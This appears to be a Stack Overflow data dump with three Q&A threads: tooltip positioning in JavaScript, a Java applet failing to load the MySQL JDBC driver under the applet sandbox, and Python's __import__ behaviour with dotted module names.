} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
window.alert( 'Width = ' + myWidth );
window.alert( 'Height = ' + myHeight );
}
</code></pre>
|
[
{
"answer_id": 211078,
"author": "Owen",
"author_id": 4853,
"author_profile": "https://Stackoverflow.com/users/4853",
"pm_score": 1,
"selected": false,
"text": "<p><strong>edit</strong>: in response to the comments, it sounds like you're trying to have the tooltip appear, without affecting the positioning of existing elements (and thus causing the scrollbar on the main window).</p>\n\n<p>if that's the case, you want to define your tooltip's position as absolute, as this will remove it from the flow of elements (so when it appears it won't push the rest of the page down).</p>\n\n<p>for example, you could start it hidden:</p>\n\n<pre><code>#tooltip {\n position: absolute;\n height: 100px;\n width: 200px;\n border: 1px solid #444444;\n background-color: #EEEEEE;\n display: none;\n}\n</code></pre>\n\n<p>then, on your mouseover event (or whatever it's called on), set the <code>top</code> and <code>left</code> css of the #tooltip to where ever you want it, and switch the display to <code>block</code>. as it's positioned absolutely, it won't cause the flicker.</p>\n"
},
{
"answer_id": 211083,
"author": "andyk",
"author_id": 26721,
"author_profile": "https://Stackoverflow.com/users/26721",
"pm_score": 1,
"selected": false,
"text": "<p>CSS : specify the tooltip's <code>width</code> and <code>height</code>, add <code>overflow: hidden</code> or <code>overflow: scroll</code> to it. </p>\n\n<p><code>position: absolute</code> works fine too, but of course, then you'll have to specify the <code>top</code> and <code>left</code> position of the tooltip.</p>\n"
},
{
"answer_id": 211134,
"author": "kender",
"author_id": 4172,
"author_profile": "https://Stackoverflow.com/users/4172",
"pm_score": 0,
"selected": false,
"text": "<p>Seems to me that what you need is cursor position within the client browser window. Then you can do your calculations to place the tooltip so it doesn't cross the border.</p>\n\n<p>What I found on the web is a short article discussing this in diffrent browsers: <a href=\"http://javascript.about.com/library/blmousepos.htm\" rel=\"nofollow noreferrer\">Mouse Cursor Position</a>. Maybe this could help you fix your problem? </p>\n\n<p>And some more info about browser size can be found <a href=\"http://javascript.about.com/od/guidesscriptindex/a/screen.htm\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Hope it helps.</p>\n"
},
{
"answer_id": 211151,
"author": "Steven A. Lowe",
"author_id": 9345,
"author_profile": "https://Stackoverflow.com/users/9345",
"pm_score": 1,
"selected": false,
"text": "<p>you can use a hidden DIV positioned at 0,0 with width and height set to 100% as a 'yardstick' to measure the client area of the screen</p>\n\n<p>if you know the size of your tooltip window, you can clip it to the client window, or change the display position to shift it so that it stays within the boundaries</p>\n\n<p>some code below (untested, ripped from another project and renamed inline)</p>\n\n<pre><code>var toolTipDiv; //this is your tooltip div element\n//call AdjustToolTipPosition(window.event);\nfunction AdjustToolTipPosition(e)\n{\n var cpos = getPosition(e);\n mouseX = cpos.x;\n mouseY = cpos.y;\n\n //Depending on IE/Firefox, find out what \n //object to use to find mouse position\n\n toolTipDiv.style.visibility = \"visible\";\n\n //backdrop 'yardstick' for client area measurement\n var backdropDiv = document.getElementById(\"divBackdrop\");\n\n //make sure floating box doesn't leave the screen\n //we know box is 200x200 plus margins, say 215x215\n if ((cpos.y + 215) > backdropDiv.offsetHeight)\n {\n cpos.y = backdropDiv.offsetHeight - 215;\n }\n if ((cpos.x + 215) > backdropDiv.offsetWidth)\n {\n cpos.x = backdropDiv.offsetWidth - 215;\n }\n toolTipDiv.style.left = cpos.x + \"px\";\n toolTipDiv.style.top = cpos.y + \"px\";\n}\n//this function courtesy of \n//http://hartshorne.ca/2006/01/23/javascript_cursor_position/\nfunction getPosition(e) \n{\n e = e || window.event;\n var cursor = {x:0, y:0};\n if (e.pageX || e.pageY) \n {\n cursor.x = e.pageX;\n cursor.y = e.pageY;\n }\n else \n {\n var de = document.documentElement;\n var b = document.body;\n cursor.x = e.clientX + \n (de.scrollLeft || b.scrollLeft) - (de.clientLeft || 0);\n cursor.y = e.clientY + \n (de.scrollTop || b.scrollTop) - (de.clientTop || 0);\n }\n return cursor;\n}\n</code></pre>\n"
},
{
"answer_id": 211295,
"author": "Thevs",
"author_id": 8559,
"author_profile": "https://Stackoverflow.com/users/8559",
"pm_score": 0,
"selected": false,
"text": "<p>It could be possible to setup a ghost transparent DIV exactly of you whole page/viewport size. Then you can 'stick' a tooltip DIV within it, providing CSS float:right attribute. That would give you correct top/left tooltip's corner measures for a final tooltip rendering. </p>\n\n<p>Edit: this should be done only for the case of 'edge situations'.</p>\n"
},
{
"answer_id": 212153,
"author": "pkaeding",
"author_id": 4257,
"author_profile": "https://Stackoverflow.com/users/4257",
"pm_score": 0,
"selected": false,
"text": "<p>You could try determining where the pointer is, and if it is in the right 1/4 (or whatever area you determine) of the viewport, put the tool tip on the left of the pointer, otherwise put it to the right.</p>\n\n<p>You mentioned that the text can vary, but is it possible it will grow very large? Could it take up an entire screen itself? Most likely, there is a maximum size it will be, so take that into account when deciding what threshold to use to decide if the tip should be on the right or the left.</p>\n\n<p>Then, absolutely position your tip div, and to be safe, give it a <code>max-height</code> and <code>max-width</code> attribute. If the text does grow larger than that, give it <code>overflow: scroll</code> in the CSS.</p>\n"
},
{
"answer_id": 212440,
"author": "Zachary Yates",
"author_id": 8360,
"author_profile": "https://Stackoverflow.com/users/8360",
"pm_score": 0,
"selected": false,
"text": "<p>I had this same problem earlier this year. The way I fixed it:</p>\n\n<ol>\n<li>I assumed <strong>vertical scrolling is ok</strong>, but horizonal scrolling is not. (There was always enough room so that the vertical scrollbar didn't affect my layout)</li>\n<li>I fixed the relative vertical position of the tooltip with regards to the target. (The top of the tooltip was always 5px below the bottom of the anchor)</li>\n<li>The left side of the tooltip was set with regard to the size of the screen. If the whole tooltip could fit on one line, cool. Otherwise, I constrained the max width and made it wrap.</li>\n</ol>\n\n<p>One thing that helped me implement it this was was Quirksmode's <a href=\"http://www.quirksmode.org/js/findpos.html\" rel=\"nofollow noreferrer\">Find Position</a> article.</p>\n\n<p>My solution might not be exactly what you're looking for, but at least have a look at the Quirksmode link, its good.</p>\n\n<p>Hope that helps!</p>\n"
},
{
"answer_id": 213171,
"author": "buti-oxa",
"author_id": 2515,
"author_profile": "https://Stackoverflow.com/users/2515",
"pm_score": 0,
"selected": false,
"text": "<p>A better idea may be to place the tooltip to the left or to the right of the element depending on which side of the page is closer. I have width of my tooltip fixed, fill it with content and make it visible when needed, and then position it depending on mouse position. Here's the key part of onmousemove event handler when tooltip is enabled:</p>\n\n<pre><code>if (!e) var e = window.event;\nif(e) {\n var posx = 0;\n var posy = 0;\n\n if (e.pageX || e.pageY) {\n posx = e.pageX;\n posy = e.pageY;\n }\n else if (e.clientX || e.clientY) {\n posx = e.clientX + document.body.scrollLeft\n + document.documentElement.scrollLeft;\n posy = e.clientY + document.body.scrollTop\n + document.documentElement.scrollTop;\n }\n\n var overflowX = (document.body.clientWidth + document.body.scrollLeft + document.documentElement.scrollLeft) - (posx + 25+ tooltip.clientWidth);\n if(overflowX < 0) posx -= 25+ (tooltip.clientWidth);\n\n var overflowY = (document.body.clientHeight + document.body.scrollTop + document.documentElement.scrollTop) - (posy + 15+ tooltip.clientHeight);\n if(overflowY < 0) posy += overflowY;\n\n tooltip.style.left=(10+posx);\n tooltip.style.top=(10+posy);\n}\n</code></pre>\n"
},
{
"answer_id": 249898,
"author": "Corey Trager",
"author_id": 9328,
"author_profile": "https://Stackoverflow.com/users/9328",
"pm_score": 1,
"selected": false,
"text": "<p>Here is the code that I ended up using, and it seems to be working.</p>\n\n<pre><code>function display_popup(s)\n{ \n\n var popup = document.getElementById(\"popup\");\n popup.innerHTML = s\n\n //viewport_height = $(document).height() doesn't work\n viewport_height = get_viewport_size()[1] // does this factor in scrollbar?\n\n mytop = $(current_element).offset().top + $(current_element).height() + 4\n scroll_offset_y = $(document).scrollTop()\n y_in_viewport = mytop - scroll_offset_y\n\n if (y_in_viewport < viewport_height) // are we even visible?\n {\n // Display the popup, but truncate it if it overflows \n // to prevent scrollbar, which shifts element under mouse\n // which leads to flicker...\n\n popup.style.height= \"\"\n popup.style.display = \"block\";\n\n if (y_in_viewport + popup.offsetHeight > viewport_height)\n {\n overflow = (y_in_viewport + popup.offsetHeight) - viewport_height\n\n newh = popup.offsetHeight - overflow\n newh -= 10 // not sure why i need the margin..\n\n if (newh > 0)\n {\n popup.style.height = newh \n }\n else\n {\n popup.style.display = \"none\";\n }\n }\n popup.style.left = $(current_element).offset().left + 40\n popup.style.top = mytop\n }\n}\n\n\nfunction get_viewport_size()\n{\n var myWidth = 0, myHeight = 0;\n\n if( typeof( window.innerWidth ) == 'number' )\n {\n //Non-IE\n myWidth = window.innerWidth;\n myHeight = window.innerHeight;\n }\n else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )\n {\n //IE 6+ in 'standards compliant mode'\n myWidth = document.documentElement.clientWidth;\n myHeight = document.documentElement.clientHeight;\n }\n else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) )\n {\n //IE 4 compatible\n myWidth = document.body.clientWidth;\n myHeight = document.body.clientHeight;\n }\n\n return [myWidth, myHeight];\n}\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211074",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9328/"
] |
The mouse hovers over an element and a tip appears. The tip overflows the page, triggering a scrollbar, which changes the layout just enough so that the underlying element that triggered the tip is no longer under the mouse pointer, so the tip goes away.
The tip goes away, so the scrollbar goes away, and now the mouse is again over the element.
Wash, rinse, repeat.
If I could make sure that tip isn't too big so as to trigger scrollbars, that would solve my problem.
EDIT: After reading comments, some things to clarify:
The div contains text which can vary. If I can, I want to show all the text. The div's location needs to be near the element the mouse's tip is over. So the key is, I need to know whether to truncate the text.
I did find this link:
<http://www.howtocreate.co.uk/tutorials/javascript/browserwindow>
which contains this piece of the puzzle, figuring out how big the browser window is:
```
function alertSize() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
//Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
window.alert( 'Width = ' + myWidth );
window.alert( 'Height = ' + myHeight );
}
```
|
**edit**: in response to the comments, it sounds like you're trying to have the tooltip appear, without affecting the positioning of existing elements (and thus causing the scrollbar on the main window).
if that's the case, you want to define your tooltip's position as absolute, as this will remove it from the flow of elements (so when it appears it won't push the rest of the page down).
for example, you could start it hidden:
```
#tooltip {
position: absolute;
height: 100px;
width: 200px;
border: 1px solid #444444;
background-color: #EEEEEE;
display: none;
}
```
then, on your mouseover event (or whatever it's called on), set the `top` and `left` css of the #tooltip to where ever you want it, and switch the display to `block`. as it's positioned absolutely, it won't cause the flicker.
|
211,099 |
<p>I've recently gotten my hobby java project embedded into a page <a href="https://stackoverflow.com/questions/138157/java-console-like-web-applet">thanks to this very site</a>, but now I'm having some security issues.</p>
<p>I have the include:</p>
<pre><code>import java.sql.*;
</code></pre>
<p>and the line:</p>
<pre><code>Class.forName("com.mysql.jdbc.Driver").newInstance();
</code></pre>
<p>as well as a mysql .jar file in my src directory, it works from the console, and in the applet works fine from the applet - up until that forName() line in my code, where it throws the exception:</p>
<pre>
Exception: com.mysql.jdbc.Driverjava.lang.ClassNotFoundException: com.mysql.jdbc.Driver
java.security.AccessControlException: access denied (java.lang.RuntimePermission exitVM.-1)
at java.security.AccessControlContext.checkPermission(Unknown Source)
at java.security.AccessController.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkExit(Unknown Source)
at java.lang.Runtime.exit(Unknown Source)
at java.lang.System.exit(Unknown Source)
at applet.Database.connectDB(Database.java:80)
etc...
</pre>
<p>I think I may be able to fix it with a client.policy file, otherwise I might need to write an abstraction layer which uses a server-client network connection to query from the server-side...</p>
<p>I'm sure the Java gurus here probably know the best way about it.</p>
|
[
{
"answer_id": 211140,
"author": "Cem Catikkas",
"author_id": 3087,
"author_profile": "https://Stackoverflow.com/users/3087",
"pm_score": 0,
"selected": false,
"text": "<p>Try getting rid of the <code>newInstance()</code> part. I think just having the <code>Class.forName()</code> does it for loading the driver.</p>\n"
},
{
"answer_id": 211146,
"author": "gizmo",
"author_id": 9396,
"author_profile": "https://Stackoverflow.com/users/9396",
"pm_score": 2,
"selected": false,
"text": "<p>If you're trying to use the a JDBC driver from the applet, then the applet needs to be signed with a certificate, and your server needs to deliver this certificate when the applet is loaded on the client side.</p>\n"
},
{
"answer_id": 211233,
"author": "Tony BenBrahim",
"author_id": 80075,
"author_profile": "https://Stackoverflow.com/users/80075",
"pm_score": 1,
"selected": false,
"text": "<p>The accepted way to do this is to make HTTP requests for data from the server from which the applet was loaded, and run the queries from the server. JSON or XML are good ways to exchange data between the applet and the server (similar to the way you do an AJAX application, sending XML or JSON between the browser and the server).</p>\n"
},
{
"answer_id": 212976,
"author": "Leigh Caldwell",
"author_id": 3267,
"author_profile": "https://Stackoverflow.com/users/3267",
"pm_score": 3,
"selected": true,
"text": "<p>I think the security exception is actually from a System.exit() call in your applet, after the Class.forName(). Generally you are not allowed to call System.exit() in unsigned applets as it shuts the whole JVM down. Have you checked if line 80 is actually the Class.forName() line, or does line 80 have some kind of exception handler which tries to call System.exit() if the driver does not load?</p>\n\n<p>Anyway, in order to load the mysql jar file in your applet, you need to include it in an ARCHIVE attribute like this:</p>\n\n<pre><code><APPLET ARCHIVE=\"mysql.jar\" CODEBASE=\"./src/\" ...\n</code></pre>\n\n<p>Once you get past this stage, you will still need to host the mysql server at the same IP number/hostname as the webserver, and open it to all the same people who can access your applet. As Tony said, this isn't how people normally do it, for security reasons. Better to write something on the server side, if you have control of the app server, and use XML or some other data exchange method to get the data out to the applet. Of course if you are just experimenting to learn about applets, then it's probably fine - but do take care to keep mysql behind your firewall if possible.</p>\n"
},
{
"answer_id": 213000,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 0,
"selected": false,
"text": "<p>The exception tells you that the applet has been unable to load the driver class. Your applet needs to download the jar containing the class at runtime, via HTTP, so you must have the jar (mysql.jar or whatever it is called) available on the webserver.</p>\n\n<p>Once you solve this problem the user will have to allow the applet permissions so that it can make a TCP socket connection to the mysql db server. They will prompted with a dialog box...</p>\n"
},
{
"answer_id": 213009,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 1,
"selected": false,
"text": "<p>As mentioned in one of the other answers (@Leigh Caldwell), I would <em>strongly</em> recommend not doing things this way. If your applet has access to MySQL then so does everyone else in the world. Decompilation is so trivial these days that it would only be a moment's work for an industrious hacker to get the applet credentials to the database. Also, MySQL's user/pass authentication is fairly weak, most of its security is IP-based. By opening it up to the world, you're throwing away your first line of deference.</p>\n\n<p>A better approach would be to build some sort of frontend protocol on the server side (XMLRPC would be a good foundation and easy to use). If the applet absolutely needs access to a database, your best bet would be <a href=\"http://hsqldb.org/\" rel=\"nofollow noreferrer\">HSQLDB</a> in memory. This doesn't require any file permissions and can be run completely in-sandbox. The local in memory database could be synchronized with the server as necessary using the aforementioned XMLRPC facade.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211099",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14966/"
] |
I've recently gotten my hobby java project embedded into a page [thanks to this very site](https://stackoverflow.com/questions/138157/java-console-like-web-applet), but now I'm having some security issues.
I have the include:
```
import java.sql.*;
```
and the line:
```
Class.forName("com.mysql.jdbc.Driver").newInstance();
```
as well as a mysql .jar file in my src directory, it works from the console, and in the applet works fine from the applet - up until that forName() line in my code, where it throws the exception:
```
Exception: com.mysql.jdbc.Driverjava.lang.ClassNotFoundException: com.mysql.jdbc.Driver
java.security.AccessControlException: access denied (java.lang.RuntimePermission exitVM.-1)
at java.security.AccessControlContext.checkPermission(Unknown Source)
at java.security.AccessController.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkExit(Unknown Source)
at java.lang.Runtime.exit(Unknown Source)
at java.lang.System.exit(Unknown Source)
at applet.Database.connectDB(Database.java:80)
etc...
```
I think I may be able to fix it with a client.policy file, otherwise I might need to write an abstraction layer which uses a server-client network connection to query from the server-side...
I'm sure the Java gurus here probably know the best way about it.
|
I think the security exception is actually from a System.exit() call in your applet, after the Class.forName(). Generally you are not allowed to call System.exit() in unsigned applets as it shuts the whole JVM down. Have you checked if line 80 is actually the Class.forName() line, or does line 80 have some kind of exception handler which tries to call System.exit() if the driver does not load?
Anyway, in order to load the mysql jar file in your applet, you need to include it in an ARCHIVE attribute like this:
```
<APPLET ARCHIVE="mysql.jar" CODEBASE="./src/" ...
```
Once you get past this stage, you will still need to host the mysql server at the same IP number/hostname as the webserver, and open it to all the same people who can access your applet. As Tony said, this isn't how people normally do it, for security reasons. Better to write something on the server side, if you have control of the app server, and use XML or some other data exchange method to get the data out to the applet. Of course if you are just experimenting to learn about applets, then it's probably fine - but do take care to keep mysql behind your firewall if possible.
|
211,100 |
<p>When using <code>__import__</code> with a dotted name, something like: <code>somepackage.somemodule</code>, the module returned isn't <code>somemodule</code>, whatever is returned seems to be mostly empty! what's going on here?</p>
|
[
{
"answer_id": 211101,
"author": "dwestbrook",
"author_id": 3119,
"author_profile": "https://Stackoverflow.com/users/3119",
"pm_score": 7,
"selected": true,
"text": "<p>From the python docs on <code>__import__</code>:</p>\n\n<blockquote>\n<pre><code>__import__( name[, globals[, locals[, fromlist[, level]]]])\n</code></pre>\n \n <p>...</p>\n \n <p>When the name variable is of the form\n package.module, normally, the\n top-level package (the name up till\n the first dot) is returned, not the\n module named by name. However, when a\n non-empty fromlist argument is given,\n the module named by name is returned.\n This is done for compatibility with\n the bytecode generated for the\n different kinds of import statement;\n when using \"import spam.ham.eggs\", the\n top-level package spam must be placed\n in the importing namespace, but when\n using \"from spam.ham import eggs\", the\n spam.ham subpackage must be used to\n find the eggs variable. As a\n workaround for this behavior, use\n getattr() to extract the desired\n components. For example, you could\n define the following helper:</p>\n\n<pre><code>def my_import(name):\n mod = __import__(name)\n components = name.split('.')\n for comp in components[1:]:\n mod = getattr(mod, comp)\n return mod\n</code></pre>\n</blockquote>\n\n<p><strong>To paraphrase:</strong></p>\n\n<p>When you ask for <code>somepackage.somemodule</code>, <code>__import__</code> returns <code>somepackage.__init__.py</code>, which is often empty.</p>\n\n<p>It will return <code>somemodule</code> if you provide <code>fromlist</code> (a list of the variable names inside <code>somemodule</code> you want, which are not actually returned)</p>\n\n<p>You can also, as I did, use the function they suggest.</p>\n\n<p>Note: I asked this question fully intending to answer it myself. There was a big bug in my code, and having misdiagnosed it, it took me a long time to figure it out, so I figured I'd help the SO community out and post the gotcha I ran into here.</p>\n"
},
{
"answer_id": 214682,
"author": "Glyph",
"author_id": 13564,
"author_profile": "https://Stackoverflow.com/users/13564",
"pm_score": 3,
"selected": false,
"text": "<p>There is something that works as you want it to: <code>twisted.python.reflect.namedAny</code>:</p>\n\n<pre><code>>>> from twisted.python.reflect import namedAny\n>>> namedAny(\"operator.eq\")\n<built-in function eq>\n>>> namedAny(\"pysqlite2.dbapi2.connect\")\n<built-in function connect>\n>>> namedAny(\"os\")\n<module 'os' from '/usr/lib/python2.5/os.pyc'>\n</code></pre>\n"
},
{
"answer_id": 5138775,
"author": "cerberos",
"author_id": 121725,
"author_profile": "https://Stackoverflow.com/users/121725",
"pm_score": 5,
"selected": false,
"text": "<p>python 2.7 has importlib, dotted paths resolve as expected</p>\n\n<pre><code>import importlib\nfoo = importlib.import_module('a.dotted.path')\ninstance = foo.SomeClass()\n</code></pre>\n"
},
{
"answer_id": 5489623,
"author": "David Seddon",
"author_id": 684377,
"author_profile": "https://Stackoverflow.com/users/684377",
"pm_score": 1,
"selected": false,
"text": "<p>For python 2.6, I wrote this snippet:</p>\n\n<pre><code>def import_and_get_mod(str, parent_mod=None):\n \"\"\"Attempts to import the supplied string as a module.\n Returns the module that was imported.\"\"\"\n mods = str.split('.')\n child_mod_str = '.'.join(mods[1:])\n if parent_mod is None:\n if len(mods) > 1:\n #First time this function is called; import the module\n #__import__() will only return the top level module\n return import_and_get_mod(child_mod_str, __import__(str))\n else:\n return __import__(str)\n else:\n mod = getattr(parent_mod, mods[0])\n if len(mods) > 1:\n #We're not yet at the intended module; drill down\n return import_and_get_mod(child_mod_str, mod)\n else:\n return mod\n</code></pre>\n"
},
{
"answer_id": 6957437,
"author": "Paolo",
"author_id": 880698,
"author_profile": "https://Stackoverflow.com/users/880698",
"pm_score": 4,
"selected": false,
"text": "<p>There is a simpler solution, as explained in the documentation:</p>\n\n<p>If you simply want to import a module (potentially within a package) by name, you can call __import__() and then look it up in sys.modules:</p>\n\n<pre><code>>>> import sys\n>>> name = 'foo.bar.baz'\n>>> __import__(name)\n<module 'foo' from ...>\n>>> baz = sys.modules[name]\n>>> baz\n<module 'foo.bar.baz' from ...>\n</code></pre>\n"
},
{
"answer_id": 25381926,
"author": "rahul mishra",
"author_id": 2732515,
"author_profile": "https://Stackoverflow.com/users/2732515",
"pm_score": 0,
"selected": false,
"text": "<p>The way I did is </p>\n\n<pre><code>foo = __import__('foo', globals(), locals(), [\"bar\"], -1)\nfoobar = eval(\"foo.bar\")\n</code></pre>\n\n<p>then i can access any content from by </p>\n\n<pre><code>foobar.functionName()\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211100",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3119/"
] |
When using `__import__` with a dotted name, something like: `somepackage.somemodule`, the module returned isn't `somemodule`, whatever is returned seems to be mostly empty! what's going on here?
|
From the python docs on `__import__`:
>
>
> ```
> __import__( name[, globals[, locals[, fromlist[, level]]]])
>
> ```
>
> ...
>
>
> When the name variable is of the form
> package.module, normally, the
> top-level package (the name up till
> the first dot) is returned, not the
> module named by name. However, when a
> non-empty fromlist argument is given,
> the module named by name is returned.
> This is done for compatibility with
> the bytecode generated for the
> different kinds of import statement;
> when using "import spam.ham.eggs", the
> top-level package spam must be placed
> in the importing namespace, but when
> using "from spam.ham import eggs", the
> spam.ham subpackage must be used to
> find the eggs variable. As a
> workaround for this behavior, use
> getattr() to extract the desired
> components. For example, you could
> define the following helper:
>
>
>
> ```
> def my_import(name):
> mod = __import__(name)
> components = name.split('.')
> for comp in components[1:]:
> mod = getattr(mod, comp)
> return mod
>
> ```
>
>
**To paraphrase:**
When you ask for `somepackage.somemodule`, `__import__` returns `somepackage.__init__.py`, which is often empty.
It will return `somemodule` if you provide `fromlist` (a list of the variable names inside `somemodule` you want, which are not actually returned)
You can also, as I did, use the function they suggest.
Note: I asked this question fully intending to answer it myself. There was a big bug in my code, and having misdiagnosed it, it took me a long time to figure it out, so I figured I'd help the SO community out and post the gotcha I ran into here.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.